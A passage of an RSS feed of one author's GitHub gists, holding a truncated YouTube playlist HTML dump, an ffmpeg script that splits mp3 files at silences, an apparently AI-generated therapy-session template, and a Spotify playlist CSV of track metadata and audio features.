        &lt;ytd-thumbnail id=&quot;thumbnail&quot; class=&quot;style-scope ytd-playlist-video-renderer&quot; hide-playback-status=&quot;&quot;
          size=&quot;medium&quot; loaded=&quot;&quot;&gt;&lt;!--css-build:shady--&gt;&lt;!--css-build:shady--&gt;&lt;a id=&quot;thumbnail&quot;
            class=&quot;yt-simple-endpoint inline-block style-scope ytd-thumbnail&quot; aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot;
            rel=&quot;null&quot; href=&quot;/watch?v=Bq-Ym8qq7AE&amp;amp;list=WL&amp;amp;index=2&amp;amp;pp=gAQBiAQB&quot;&gt;
            &lt;yt-image alt=&quot;&quot; ftl-eligible=&quot;&quot; notify-on-loaded=&quot;&quot; notify-on-unloaded=&quot;&quot;
              class=&quot;style-scope ytd-thumbnail&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;background-color: transparent;&quot;
                class=&quot;yt-core-image--fill-parent-height yt-core-image--fill-parent-width yt-core-image yt-core-image--content-mode-scale-aspect-fill yt-core-image--loaded&quot;
                src=&quot;https://i.ytimg.com/vi/Bq-Ym8qq7AE/hqdefault.jpg?sqp=-oaymwEj</code></pre><p><em>Truncated — <a href="https://gist.github.com/8e93278084ef462e04ca6950261b1ae0">view the full gist</a>.</em></p>
<h3>watchlater.txt</h3>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Use ffmpeg to split an mp3 file into separate files based on periods of silence]]></title>
      <link>https://gist.github.com/4eed331a94ea0727bd7c996a2e681ae5</link>
      <guid isPermaLink="true">https://gist.github.com/4eed331a94ea0727bd7c996a2e681ae5</guid>
      <pubDate>Tue, 28 Nov 2023 21:20:56 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2023-11-28T21:20:56.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>split_mp3_by_silence.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>627</code:size>
      </code:file>
      <description><![CDATA[Use ffmpeg to split an mp3 file into separate files based on periods of silence]]></description>
      <content:encoded><![CDATA[<h3>split_mp3_by_silence.sh</h3><pre><code class="language-shell">#!/bin/bash
# Remember to make your script executable by running chmod +x yourscript.sh and then execute it with ./yourscript.sh.

# Name of the input file
input=&quot;yourfile.mp3&quot;

# Threshold for silence detection, in dB
silence_threshold=&quot;-50dB&quot;

# Duration of silence to detect, in seconds
silence_duration=&quot;1&quot;

# Prefix for the output files
output_prefix=&quot;part&quot;

# Command to split the file
ffmpeg -i &quot;$input&quot; -af &quot;silencedetect=noise=$silence_threshold:d=$silence_duration&quot; -f segment -segment_time_metadata 1 -c copy -map 0 -segment_list &quot;${input%.*}_segments.txt&quot; -segment_list_type csv &quot;${output_prefix}%03d.${input##*.}&quot;
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[gpt_therapist_system.md]]></title>
      <link>https://gist.github.com/150fad3f20d2c86623279ae17b7521e4</link>
      <guid isPermaLink="true">https://gist.github.com/150fad3f20d2c86623279ae17b7521e4</guid>
      <pubDate>Mon, 28 Aug 2023 13:40:10 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2023-08-28T13:54:19.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>gpt_therapist_system.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>3822</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>gpt_therapist_system.md</h3><pre><code class="language-markdown">Absolutely, I&apos;d be glad to provide you with a structured methodology for conducting a session that incorporates elements we explored in this conversation. This template can be adapted to various types of problems and concerns. Let&apos;s call this approach the &quot;Integrated Insight Process.&quot;

**Step 1: Problem Exploration and Context Establishment**

1. Start by asking the individual to introduce the problem or concern they want to address.
2. Gain a comprehensive understanding of the context, emotions, and thoughts surrounding the issue.
3. Probe for any relevant background information that might be influencing the current feelings.
4. Ensure a safe and nonjudgmental environment for open sharing.

**Step 2: Jungian Perspective Integration**

1. Discuss how unconscious conflicts or desires might be influencing the current emotions or behaviors.
2. Explore possible archetypal themes or symbolism that could be connected to the issue.
3. Guide the individual to reflect on their personal history and any patterns that might be relevant.
4. Encourage self-reflection and awareness of the different aspects of their psyche, such as persona, shadow, anima/animus, etc.

**Step 3: Neuroscience Perspective Integration**

1. Explain how brain plasticity and neural pathways play a role in shaping emotions and reactions.
2. Identify any brain regions associated with the individual&apos;s emotional responses and behaviors.
3. Help the individual recognize that their feelings are rooted in natural brain processes, reducing self-judgment.
4. Suggest practices to leverage the brain&apos;s plasticity for growth and transformation.

**Step 4: Empathy and Authenticity Exploration**

1. Discuss the benefits of authenticity and empathy in addressing concerns.
2. Guide the individual to consider how they would feel and respond if they encountered someone else facing a similar issue.
3. Explore the potential of sharing one&apos;s vulnerability with others to foster connections.
4. Encourage the individual to consider social interactions as opportunities for growth and learning.

**Step 5: Creative Solution Generation**

1. Use insights from both perspectives to develop creative solutions tailored to the individual&apos;s problem.
2. Brainstorm practical strategies that align with the concepts of self-awareness, authenticity, and empathy.
3. Consider approaches that involve creative expression, narrative reframing, gradual exposure, or the integration of positive practices.
4. Allow the individual to choose solutions that resonate with them.

**Step 6: Summary and Narrative Reframing**

1. Summarize the key insights gained from the session, integrating both Jungian and neuroscience perspectives.
2. Use a narrative reframing technique to transform the individual&apos;s issue into a story of growth and empowerment.
3. Help the individual connect their current journey with the universal concept of personal development and transformation.
4. Encourage the individual to internalize this new narrative as a source of inspiration and motivation.

**Step 7: Homework and Implementation**

1. Assign practical homework assignments based on the solutions generated.
2. Discuss how the individual can apply the insights gained from the session in their daily life.
3. Encourage a commitment to gradual change and growth, even if discomfort arises.
4. Provide resources, reading materials, or mindfulness exercises that align with the discussed concepts.

By following this &quot;Integrated Insight Process,&quot; the intern psychologist can effectively guide individuals through a holistic exploration of their concerns, drawing from both Jungian perspectives and neuroscience insights. The methodology empowers individuals to understand their feelings, reframe their narratives, and develop practical solutions for personal growth and development.</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[7pm-to-midnight_all_tracks.csv]]></title>
      <link>https://gist.github.com/deedd43d8b2de49a95016dd47f5c38b8</link>
      <guid isPermaLink="true">https://gist.github.com/deedd43d8b2de49a95016dd47f5c38b8</guid>
      <pubDate>Thu, 03 Nov 2022 01:00:50 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2022-11-03T01:00:50.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>7pm-to-midnight_all_tracks.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>39626</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>7pm-to-midnight_all_tracks.csv</h3><pre><code class="language-csv">Spotify ID,Artist IDs,Track Name,Album Name,Artist Name(s),Release Date,Duration (ms),Popularity,Added By,Added At,Genres,Danceability,Energy,Key,Loudness,Mode,Speechiness,Acousticness,Instrumentalness,Liveness,Valence,Tempo,Time Signature
6R61DbcGKKMuVEeyrkVOkH,4J29rwF7Lcqch3IyOubvxC,Fridge Magnet - Radio Theme 1,No!,Uffe,2016-10-14,133436,27,spotify:user:pseudoplacebo,2022-06-25T16:29:28Z,jazz house,0.696,0.409,8,-11.494,1,0.0402,0.264,0.784,0.103,0.0667,115.09,4
4BXBkVMiXIgDRkxeKXbsUl,&quot;3nb0xF02MfjP2lM9zVNgnp,3YOthLzFPTgp0fEtLRUoES&quot;,Lahore State of Mind - Al Dobson Jr. Remix,Lahore State of Mind,&quot;Jaubi,Al Dobson Jr.&quot;,2018-08-03,193497,32,spotify:user:pseudoplacebo,2022-06-25T17:16:50Z,&quot;pakistani indie,indie jazz&quot;,0.707,0.554,6,-9.417,1,0.0705,0.11,0.828,0.101,0.32,91.043,4
1IBT4vJVzI725DANix96bA,6RBdnGDQUK9KyF8tbKbAne,&quot;I&apos;ll Give You a Ring (When I Come, If I Come)&quot;,Free and Easy,Apple &amp; The Three Oranges,2013-03-05,193066,38,spotify:user:pseudoplacebo,2022-06-25T17:21:04Z,&quot;souldies,traditional soul&quot;,0.613,0.741,9,-6.755,1,0.256,0.429,0,0.316,0.658,87.509,4
18hDZSPbts5uPMRHN3SaFx,0jq1z5MQSlFtvpbnLzeEul,Admas,Jazzbois Goes Blunt II,Jazzbois,2021-09-17,229444,37,spotify:user:pseudoplacebo,2022-06-25T18:04:06Z,&quot;indie jazz,modern jazz trio,uk contemporary jazz&quot;,0.599,0.548,5,-8.366,1,0.105,0.803,0.916,0.0932,0.524,79.945,4
2GoVJSUf7QuxNqJCPg2DiS,30b8dNhkUcfPVsDbwyXlC9,Rio Sihl,Orange Wine,Okvsho,2021-09-24,313351,38,spotify:user:pseudoplacebo,2022-06-27T16:29:43Z,&quot;indie jazz,indie soul,uk contemporary jazz&quot;,0.724,0.578,0,-10.285,0,0.0621,0.0274,0.795,0.11,0.776,166.024,4
0J0DDuM9Sh3meYsMMga51K,4qpzRXTVDwohQbPPIKUlFM,Fourty Days,Windows of the Mind,Billy Brooks,1974,377445,34,spotify:user:pseudoplacebo,2022-06-25T19:02:30Z,jazz funk,0.584,0.569,5,-9.118,1,0.0854,0.563,0.784,0.0811,0.748,112.994,4
0CMJi3PAIbWKiV5pBKOCvk,1ky3oGuE5XOsOzqiFEGwqR,Kerene,Heiwa,Mansur Brown,2021-09-03,286360,32,spotify:user:pseudoplacebo,2022-06-25T19:10:02Z,&quot;afrofuturism,alternative r&amp;b,british jazz,indie jazz,indie r&amp;b,indie soul,uk contemporary jazz&quot;,0.639,0.393,8,-11.262,0,0.0311,0.0662,0.895,0.146,0.0905,127.996,3
1tAyZcAnbZJlPQiSSpq1U2,52T6Q1CeTYIl17Wif4KsAu,Makin mah way down town,Beat tape part 1,See Dee,2021-06-23,237272,5,spotify:user:pseudoplacebo,2022-06-27T16:03:28Z,,0.656,0.818,6,-3.022,0,0.121,0.675,0.0000255,0.0854,0.645,175.873,4
3Vw6jxsmxkwMgYwNSyGO0v,&quot;2tgOGRSlg4TCPaXr3kDRK6,6kfOGQtwF9oS6rYSdVG4Ol,7tbxW8j3pe34xRrPtS5igX,3LU0lAD1W7SbzLnzeYudtJ&quot;,Mars Blues,The New Heritage,&quot;Telemakus,Chino Corvalán,Ted Taforo,Corydrums&quot;,2021-10-13,230782,30,spotify:user:pseudoplacebo,2022-06-28T17:26:17Z,&quot;indie jazz,uk contemporary jazz&quot;,0.424,0.514,1,-13.421,1,0.0773,0.495,0.792,0.0633,0.497,93.728,3
5AD6blX0PRd8hH1kTKVF0j,&quot;3XQIlYQsopsDCYMSkf1rEW,0oXcSv2sZaRTblkhsDHnba&quot;,Me at the Zoo,Fidelity Radio Club,&quot;S. Fidelity,Àbáse&quot;,2021-04-09,168250,44,spotify:user:pseudoplacebo,2022-06-28T17:26:27Z,&quot;indie jazz,indie r&amp;b,lo-fi jazzhop&quot;,0.739,0.35,1,-14.336,1,0.164,0.138,0.83,0.0692,0.472,93.989,4
6hQRC5Ik0EiqgHXBOwo5cD,0cLrgpG3pW4MX4nD8h6qCc,Masterclass,Masterclass,El Michels Affair,2021-09-02,172334,27,spotify:user:pseudoplacebo,2022-06-28T17:26:55Z,&quot;afrobeat,funk,instrumental soul&quot;,0.793,0.458,4,-6.54,1,0.0852,0.43,0.715,0.079,0.274,141.447,4
5W1KPkyAWqqJR8tAueqIWJ,062tCT8GVioC9EMiI9jeOV,YA NO PODÍA SALIR,BLK VINTAGE,BLK ODYSSY,2021-08-27,233107,42,spotify:user:pseudoplacebo,2022-06-28T17:27:19Z,&quot;alternative r&amp;b,indie r&amp;b,indie soul&quot;,0.527,0.391,3,-10.21,0,0.153,0.687,0.235,0.397,0.588,146.754,4
4iR6pG6DRpemMlQ9WOvcH8,5qRtt9DQNy64ig66kCWFjX,Lost,Green,Robohands,2018-05-23,107582,47,spotify:user:pseudoplacebo,2022-07-10T15:12:25Z,&quot;indie jazz,indie soul,uk contemporary jazz&quot;,0.54,0.431,1,-13.756,0,0.0411,0.028,0.763,0.633,0.232,73.207,4
679DH2dDS6VPrVzJKS6obT,3u9rbdcmA6CxjxOAkjaeFr,Ti-de,KOKOROKO,Kokoroko,2019-03-08,372386,36,spotify:user:pseudoplacebo,2022-09-04T19:07:48Z,&quot;british jazz,indie jazz,indie soul,uk contemporary jazz&quot;,0.77,0.354,9,-12.028,0,0.0333,0.468,0.893,0.11,0.438,109.879,4
2HRF69EVvPKW6eL2ka9iK4,5FnpXrrMdJVZCK54oHWqUa,The Fours,The Fours,Makaya McCraven,2022-09-08,206766,35,spotify:user:pseudoplacebo,2022-09-19T16:29:47Z,&quot;contemporary jazz,experimental jazz,indie jazz,indie soul&quot;,0.529,0.487,7,-13.855,0,0.142,0.86,0.832,0.109,0.364,80.18,4
5Fse8BFC410yZ4kpVqBCHt,05BX9gTvlalkzuFVg3CqyL,Morning Sunrise,The Sisters,Weldon Irvine,2016-12-09,199320,50,spotify:user:pseudoplacebo,2022-02-18T17:33:38Z,jazz funk,0.482,0.557,9,-7.645,0,0.0487,0.132,0.731,0.201,0.54,135.367,4
6u2g6f67PqUMJq9GHajjXn,3bWxjvKUe8YV0VkI5d3I1Y,White Birds (Instrumental Version),Bad Bad Things,Blundetto,2010-06-07,227645,0,spotify:user:pseudoplacebo,2022-02-14T03:24:48Z,electro jazz,0.919,0.422,2,-9.152,0,0.106,0.0555,0.855,0.0777,0.468,119.061,4
2ruY7BpsZRwr6UUzLeDSk1,&quot;6eXZu6O7nAUA5z6vLV8NKI,3ETLPQkcEd7z4k3IbZmXMq&quot;,Woman,Sometimes I Might Be Introvert,&quot;Little Simz,Cleo Sol&quot;,2021-09-03,269413,61,spotify:user:pseudoplacebo,2022-02-14T23:45:48Z,&quot;alternative r&amp;b,escape room,trap queen,indie r&amp;b,indie soul,neo soul,uk contemporary r&amp;b,uk funky&quot;,0.531,0.648,1,-7.638,1,0.209,0.712,0.000191,0.0973,0.799,86.739,4
3aTv2MzcK17DfHzcUCyte1,4edwXsmUVRa8EneehcvoFE,On the Hill,St. Louis Breakdown - The Best of Oliver Sain,Oliver Sain St. Louis Breakdown,2009-04-21,276640,0,spotify:user:pseudoplacebo,2022-02-15T15:23:59Z,,0.592,0.553,10,-11.404,0,0.0588,0.0374,0.698,0.0675,0.683,166.81,4
1hAsWvX1XHGbCEHDGhGs89,6RTCb5pWKinqlUyG2qacit,In The Rain,Be What You Wanna Be,Ernest Ranglin,2010-06-22,211280,41,spotify:user:pseudoplacebo,2022-02-15T15:45:15Z,&quot;afrobeat,afropop,dub,reggae,rocksteady,roots reggae,ska,world&quot;,0.637,0.531,8,-9.876,0,0.0551,0.418,0.799,0.597,0.672,144.492,4
7BhHAftdMM9EtmxkOQflHO,2Bgj9IzoI7ASgjBkQttakf,My Favorite Things,Manhattan Special,Onyx Collective,2020-04-24,301766,30,spotify:user:pseudoplacebo,2022-02-15T15:49:09Z,experimental jazz,0.575,0.67,4,-8.479,0,0.047,0.0279,0.89,0.115,0.451,135.709,4
5afxMT80ZvKcrCeJCV2PXL,4GcpBLY8g8NrmimWbssM26,Camelblues,Yawn Zen,Mndsgn,2014-08-26,152984,47,spotify:user:pseudoplacebo,2022-02-15T15:53:06Z,&quot;abstract beats,indie jazz,indie soul,synth funk,wonky&quot;,0.594,0.304,9,-15.353,0,0.029,0.947,0.219,0.0933,0.13,79.994,4
2fOEO7QATH0l1yhU9WNPx1,5CDHEnQ7vIRfL4I18XnLQb,Flowerbed,Flowerbed,Waldo&apos;s Gift,2022-01-14,266535,35,spotify:user:pseudoplacebo,2022-02-15T15:56:19Z,uk contemporary jazz,0.41,0.611,10,-10.791,1,0.0447,0.00809,0.747,0.148,0.379,94.53,4
7rzaogj4Be9bXCV7rGgRgT,&quot;2rspptKP0lPBdlJJAJHqht,3Uw7i8bbD7k8eOD5SIqn9g,3gTKlamoFhZeUOFykWBouS&quot;,Odyssey,Welcome to the Hills,&quot;Yussef Dayes,Charlie Stacey,Rocco Palladino&quot;,2020-12-03,224426,30,spotify:user:pseudoplacebo,2022-05-01T15:28:16Z,&quot;british jazz,indie jazz,indie soul,uk contemporary jazz&quot;,0.517,0.437,10,-11.645,0,0.051,0.38,0.86,0.615,0.624,94.039,4
0ZOYJ5355oaN1tZTxsqSIO,35mEzAsFbM7OOTzFyjTgeU,Marvin&apos;s Mood,Marvin&apos;s Mood,Stro Elliot,2019-09-20,439651,39,spotify:user:pseudoplacebo,2022-02-15T16:07:17Z,jazz rap,0.786,0.853,6,-1.704,1,0.0667,0.00276,0.56,0.167,0.577,92.024,4
0oquPTbfQI0lXQahXLDKYX,06s35sbFfZJUEwFjAaZfiW,Bitter,Polo Beats,Cookin Soul,2018-08-14,163902,35,spotify:user:pseudoplacebo,2022-02-15T16:53:31Z,&quot;alternative hip hop,boom bap espanol,trap latino&quot;,0.59,0.428,4,-6.499,1,0.0227,0.793,0.103,0.125,0.342,81.889,4
31kkgCImsQJjSGDVzxJN4R,&quot;5lDtfHPqWN6MG9tFywnW8J,7iUF39q93Xixo33E6IvNYm&quot;,Everybody Loves the Sunshine,Between Days,&quot;Kiefer,Theo Croker&quot;,2021-04-23,322388,42,spotify:user:pseudoplacebo,2022-02-15T17:05:29Z,&quot;indie jazz,indie soul,neo r&amp;b,uk contemporary jazz,jazz brass,jazz trumpet&quot;,0.548,0.561,6,-8.377,1,0.0375,0.774,0.78,0.208,0.42,66.971,4
6fK7vB7NeJCSB4ZaLptgwW,7HZokAjDop6Gjgtghfr8lp,Losalamitoslatinfunklovesong,Astral Signal,Gene Harris,1974-11-21,190106,47,spotify:user:pseudoplacebo,2022-02-15T17:11:24Z,&quot;jazz funk,jazz piano,soul jazz&quot;,0.77,0.709,5,-12.005,0,0.0558,0.226,0.0148,0.0583,0.907,134.948,4
1CbxG199T0fzfUV5EO7aPV,&quot;4596e2d3KmYzAeVenjCxfj,2oZcMYiKpjaA2Et5mU3RPP&quot;,Eternal Light,Free Nationals,&quot;Free Nationals,Chronixx&quot;,2019-12-13,193740,68,spotify:user:pseudoplacebo,2022-02-15T17:28:13Z,&quot;alternative r&amp;b,indie soul,dancehall,modern reggae&quot;,0.793,0.465,5,-8.134,0,0.271,0.648,0.000132,0.0871,0.898,141.85,4
0LR9V7hVZqufykxckb7xK4,67pW04a6jpdQR2yWqjcfxs,TIBBE,GISEKE,Bluestaeb,2021-07-23,145181,47,spotify:user:pseudoplacebo,2022-02-15T17:30:55Z,&quot;indie jazz,indie r&amp;b,indie soul&quot;,0.784,0.337,5,-9.53,1,0.0442,0.401,0.63,0.143,0.405,101.015,4
4C7dJ2aqYbMZXtv8Wu23wo,&quot;06s35sbFfZJUEwFjAaZfiW,4MtoPS2GV2hUxacTHz9J6p&quot;,Lostyamind,Soul Beach,&quot;Cookin Soul,Hip Dozer&quot;,2018-05-25,135529,28,spotify:user:pseudoplacebo,2022-02-15T17:45:20Z,&quot;alternative hip hop,boom bap espanol,trap latino&quot;,0.481,0.927,1,-4.017,0,0.242,0.043,0.032,0.55,0.54,169.759,4
0Ip2pWYQmo8NUxKql20QPk,5wZOrGWdg4hq7KIRMupJdI,Jaded,Reality Testing,Lone,2014-06-16,289082,48,spotify:user:pseudoplacebo,2022-02-15T18:18:47Z,&quot;downtempo,electronica,float house,future garage,intelligent dance music,lo-fi house,microhouse,uk bass,wonky&quot;,0.642,0.286,1,-19.865,1,0.0389,0.738,0.737,0.105,0.0869,94.998,4
0R1zq6cpERr255n3R4kaxM,2mVVjNmdjXZZDvhgQWiakk,Shades of Man,Con Todo El Mundo,Khruangbin,2018-01-26,227148,0,spotify:user:pseudoplacebo,2022-02-16T00:07:25Z,neo-psychedelic,0.659,0.498,4,-8.301,0,0.0597,0.0475,0.855,0.777,0.796,82.633,4
4AKUOaCRcoKTFnVI9LtsrN,2mVVjNmdjXZZDvhgQWiakk,White Gloves,The Universe Smiles Upon You,Khruangbin,2015-11-06,218306,64,spotify:user:pseudoplacebo,2022-02-16T00:08:30Z,neo-psychedelic,0.635,0.3,2,-13.957,0,0.0285,0.707,0.829,0.574,0.772,91.452,4
4517HNgK6TJxz21ygpIiKo,3UHGHiVMz1L0XqFi3oXHvH,Sofa,Sofa,Collard,2017-08-04,215950,40,spotify:user:pseudoplacebo,2022-02-16T00:22:00Z,uk contemporary r&amp;b,0.629,0.274,11,-14.452,0,0.0727,0.322,0.436,0.107,0.0667,125.89,4
4iyH37AHAkYK1MVhveeqcm,5lq6V5V6D0zzfClxSPzV4G,Dreamflower,Tarika Blue,Tarika Blue,1977,255533,45,spotify:user:pseudoplacebo,2022-02-18T17:32:39Z,,0.551,0.252,3,-17.767,0,0.0293,0.77,0.719,0.0834,0.376,134.878,4
4h8cZQL1EhKksrFktPWmAE,2pczECUPwesVJoZapH6iZl,Poor Wayfaring Stranger,Good God! Apocryphal Hymns,Shelton Kilby,2013-05-07,259545,37,spotify:user:pseudoplacebo,2022-02-18T17:41:57Z,gospel soul,0.629,0.259,10,-13.728,1,0.104,0.407,0.374,0.0855,0.568,140.379,4
4iVpZVKaPUnMhEagBOIIuI,177N2fB1WvNBCQ4epjMQ3O,Tudo Que Voce Podia Ser,Quarteto Em Cy,Quarteto Em Cy,1972-03-01,161106,50,spotify:user:pseudoplacebo,2022-02-19T01:38:25Z,&quot;bossa nova,mpb&quot;,0.533,0.65,4,-8.53,1,0.0662,0.569,0.000222,0.67,0.455,102.814,4
513IPuqvC7V8XHTbIe6EWw,&quot;0oZASNXz7lmZGoXFh8GnZM,2AfU5LYBVCiCtuCCfM7uVX&quot;,Legal Sins,Legal Sins,&quot;Kemba,Kota the Friend&quot;,2022-02-22,210125,44,spotify:user:pseudoplacebo,2022-02-28T19:21:21Z,&quot;alternative hip hop,hip hop,rap,underground hip hop&quot;,0.741,0.664,2,-5.167,1,0.0671,0.0735,0,0.378,0.263,119.984,4
4wuwe7BTYiELxexUQO33Ch,5sWLqFd05O4FR31mmyNLkZ,Coy Boy,Hotep,Blue Iverson,2017-04-11,52559,44,spotify:user:pseudoplacebo,2022-03-07T00:51:44Z,experimental r&amp;b,0.64,0.223,4,-7.454,1,0.192,0.966,0.958,0.107,0.398,187.372,4
4QPoCJSGDSig70rrzt8ZLi,&quot;1tP3R35TdPW8BMwmTPOoVZ,5lYcr7Yue9FUB7MJDBtTJx&quot;,Bis,Encore,&quot;Arthur Verocai,Azymuth&quot;,2012-02-17,238200,42,spotify:user:pseudoplacebo,2022-03-07T00:55:20Z,&quot;bossa nova,brazilian jazz,jazz funk,mpb,psicodelia brasileira,brazilian boogie,indie jazz&quot;,0.645,0.867,2,-7.729,1,0.0567,0.546,0.000432,0.327,0.855,100.521,4
3rZrK0m6FsVwNBS0SFpivX,6avpsZzjS5Yy9daHLBCYmn,Get into the Party Life,Party Down,Little Beaver,1974,248933,45,spotify:user:pseudoplacebo,2022-03-29T02:08:01Z,&quot;classic soul,funk,soul,southern soul&quot;,0.78,0.443,7,-15.497,0,0.0309,0.044,0.00149,0.221,0.922,136.07,4
4XmNe4g3iHfths47kyjDrr,&quot;3oVO0VgF32uQKPAEh77Gwe,5nwqAZGgbbZOuK11nRCGyj&quot;,Be on My Side,The Girl with the Green Shoes,&quot;Melanie Charles,Mejiwahn&quot;,2017-09-22,309940,36,spotify:user:pseudoplacebo,2022-03-29T02:09:43Z,brooklyn indie,0.338,0.218,4,-18.26,0,0.0493,0.302,0.271,0.112,0.151,120.412,3
0fym4mro3A1876ysJ7ulJQ,2hwy5DELim1AxB1sHPqn4y,Ozu,Diego E.P.,Gotts Street Park,2021-09-02,221946,44,spotify:user:pseudoplacebo,2022-03-29T02:18:07Z,&quot;british soul,indie r&amp;b,indie soul&quot;,0.6,0.412,4,-11.885,0,0.0503,0.888,0.936,0.109,0.227,91.772,4
7oxthPPk7zr1qGblcEXBLp,3XQIlYQsopsDCYMSkf1rEW,Temptations,Fidelity Radio Club,S. Fidelity,2021-04-09,166048,42,spotify:user:pseudoplacebo,2022-04-08T02:14:19Z,&quot;indie jazz,indie r&amp;b,lo-fi jazzhop&quot;,0.797,0.298,10,-16.83,0,0.0403,0.16,0.643,0.119,0.564,113.956,4
1I36mRlYXhAkUVygbtPZGd,&quot;43JlwunhXm1oqdKyOa2Z9Y,4GcpBLY8g8NrmimWbssM26&quot;,Sparkle Tape Break Up - Mndsgn Remix,Mood Variant (The Remixes),&quot;Hiatus Kaiyote,Mndsgn&quot;,2022-04-08,235936,37,spotify:user:pseudoplacebo,2022-04-10T16:47:32Z,&quot;alternative r&amp;b,australian r&amp;b,indie soul,neo soul,shiver pop,abstract beats,indie jazz,synth funk,wonky&quot;,0.63,0.625,9,-9.175,0,0.124,0.054,0.00353,0.234,0.687,75.995,3
0Xf5iP2B0PrYOCUZDIK8QB,3AaY5O1qS0tcNPHwwMwplt,Cliche,The New Breed,Jeff Parker,2016-06-24,249461,36,spotify:user:pseudoplacebo,2022-05-01T16:05:00Z,&quot;avant-garde jazz,contemporary jazz,free jazz,jazz guitar,pastoral&quot;,0.702,0.509,0,-9.157,1,0.0525,0.326,0.577,0.0715,0.607,145.99,4
4uGD6xD1oQXwQHSr1FVUwi,3AaY5O1qS0tcNPHwwMwplt,Jrifted,The New Breed,Jeff Parker,2016-06-24,465371,14,spotify:user:pseudoplacebo,2022-05-01T16:28:36Z,&quot;avant-garde jazz,contemporary jazz,free jazz,jazz guitar,pastoral&quot;,0.508,0.522,0,-9.024,0,0.0339,0.292,0.87,0.128,0.268,149.929,3
09Hs31z4HApE6CiAf8UDnv,5OPSpcX9nVVWCIOKcoM4ot,I&apos;m Leaving You,Boogie Down U.S.A.,People&apos;s Choice,1975,339013,20,spotify:user:pseudoplacebo,2022-05-09T20:01:07Z,&quot;classic soul,deep disco,disco,funk,philly soul,post-disco&quot;,0.494,0.709,7,-9.64,0,0.0436,0.104,0.399,0.0617,0.927,151.849,4
2Je7gkIagwaaoB1PNes8xF,62wMscceJU1N9g7NLUikaA,Jah Jah Jahovah,Sound Box Essentials Platinum Edition,Ronnie Davis,2012-05-21,189546,7,spotify:user:pseudoplacebo,2022-05-13T14:21:07Z,&quot;old school dancehall,roots reggae&quot;,0.84,0.601,2,-8.405,1,0.349,0.33,0.0000766,0.132,0.781,92.111,4
3RpbkC14QNiGUjAHJ2CSvv,4J29rwF7Lcqch3IyOubvxC,I Can Show You High,Radio Days,Uffe,2015-04-06,282789,33,spotify:user:pseudoplacebo,2022-05-18T14:24:03Z,jazz house,0.693,0.506,5,-11.933,0,0.0566,0.589,0.426,0.0993,0.629,72.5,4
3tuDCFSxG2W6XIJKhS0hcX,4oQ1RtRdvA4mv8UT8Ymx5s,Bumpy&apos;s Lament,Shaft,Mack Browne &amp; The Brothers,1971-01-01,166174,43,spotify:user:pseudoplacebo,2022-08-28T20:32:09Z,,0.568,0.042,7,-27.914,0,0.0384,0.936,0.832,0.104,0.407,119.051,4
2aAf398grKdfBZU2LCxRBT,6fpSyotvM2E3050Slv2u3B,Brown Skin,Brown Skin,Cam the Artisan,2020-04-28,197880,37,spotify:user:pseudoplacebo,2022-07-08T16:27:44Z,indie hip hop,0.827,0.481,5,-9.606,1,0.128,0.65,0.00000847,0.0511,0.869,129.946,4
5rx1nvlvSiwVtCVyxqrlJP,0ldPEI4BOt8w3oBG9zhEPI,Bedroom,Bedroom,Ian Isiah,2018-11-06,163571,3,spotify:user:pseudoplacebo,2022-02-16T00:17:56Z,,0.656,0.548,4,-10.685,0,0.16,0.903,0.00103,0.125,0.717,167.697,4
1mA8Hn0GqjmmJgO3EsTvPk,31IZdHrCZ5pRhLz4zBxN3o,How To Be The Man,Neon Icon,Riff Raff,2014-06-24,173076,27,spotify:user:pseudoplacebo,2022-02-15T16:42:48Z,,0.921,0.771,11,-5.344,0,0.146,0.0817,0,0.099,0.645,91,4
33pDmPx2pkJ7JCAQpRDQ9B,&quot;6qgnBH6iDM91ipVXv28OMu,3jK9MiCrA42lLAdMGUZpwa&quot;,GLOWED UP,99.90%,&quot;KAYTRANADA,Anderson .Paak&quot;,2016-05-06,298026,0,spotify:user:pseudoplacebo,2022-02-16T00:25:53Z,&quot;escape room,lgbtq+ hip hop&quot;,0.681,0.621,1,-10.024,1,0.34,0.036,0.00555,0.138,0.428,135.538,4
2z0arej7oAUcSxsBYKp5ID,7CUS7pHoycfMAdISZoexiU,wo0ooooo,falling,stevedoesmusic,2020-10-26,128000,10,spotify:user:pseudoplacebo,2022-02-15T15:58:18Z,,0.572,0.63,11,-9.477,0,0.0733,0.00259,0.811,0.448,0.715,180.081,4
1QV3kq6651B8X6smfu2ozQ,67pW04a6jpdQR2yWqjcfxs,Didn&apos;t Cha Know,Rodalquilar,Bluestaeb,2015-11-06,158526,38,spotify:user:pseudoplacebo,2022-08-25T14:51:55Z,&quot;indie jazz,indie r&amp;b,indie soul&quot;,0.722,0.499,4,-7.863,1,0.15,0.619,0.733,0.0783,0.382,140.051,4
4WdUMgVMYdn1xeu3X2z9Ai,&quot;43JlwunhXm1oqdKyOa2Z9Y,1tP3R35TdPW8BMwmTPOoVZ&quot;,Get Sun (feat. Arthur Verocai),Get Sun (feat. Arthur Verocai),&quot;Hiatus Kaiyote,Arthur Verocai&quot;,2021-03-16,337626,39,spotify:user:pseudoplacebo,2022-02-</code></pre><p><em>Truncated — <a href="https://gist.github.com/deedd43d8b2de49a95016dd47f5c38b8">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[A GPT-3 code-davinci-002 written script to scrape the top 40 worst polluters for all available industries]]></title>
      <link>https://gist.github.com/ad555d7d8fca5cf5f35db1c3e3486a72</link>
